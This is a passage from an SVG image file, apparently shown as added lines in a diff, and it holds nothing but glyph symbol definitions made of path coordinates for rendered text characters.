+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 7.828125 -14.234375 L 9.296875 -14.234375 L 9.296875 -4.703125 C 9.296875 -2.972656 8.957031 -1.722656 8.28125 -0.953125 C 7.613281 -0.191406 6.660156 0.1875 5.421875 0.1875 C 3.984375 0.1875 2.9375 -0.179688 2.28125 -0.921875 C 1.625 -1.671875 1.296875 -2.820312 1.296875 -4.375 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -5.15625 C 2.828125 -4.425781 2.875 -3.8125 2.96875 -3.3125 C 3.0625 -2.8125 3.21875 -2.40625 3.4375 -2.09375 C 3.65625 -1.78125 3.925781 -1.554688 4.25 -1.421875 C 4.570312 -1.285156 4.972656 -1.21875 5.453125 -1.21875 C 6.347656 -1.21875 6.96875 -1.53125 7.3125 -2.15625 C 7.65625 -2.78125 7.828125 -3.78125 7.828125 -5.15625 Z M 7.828125 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 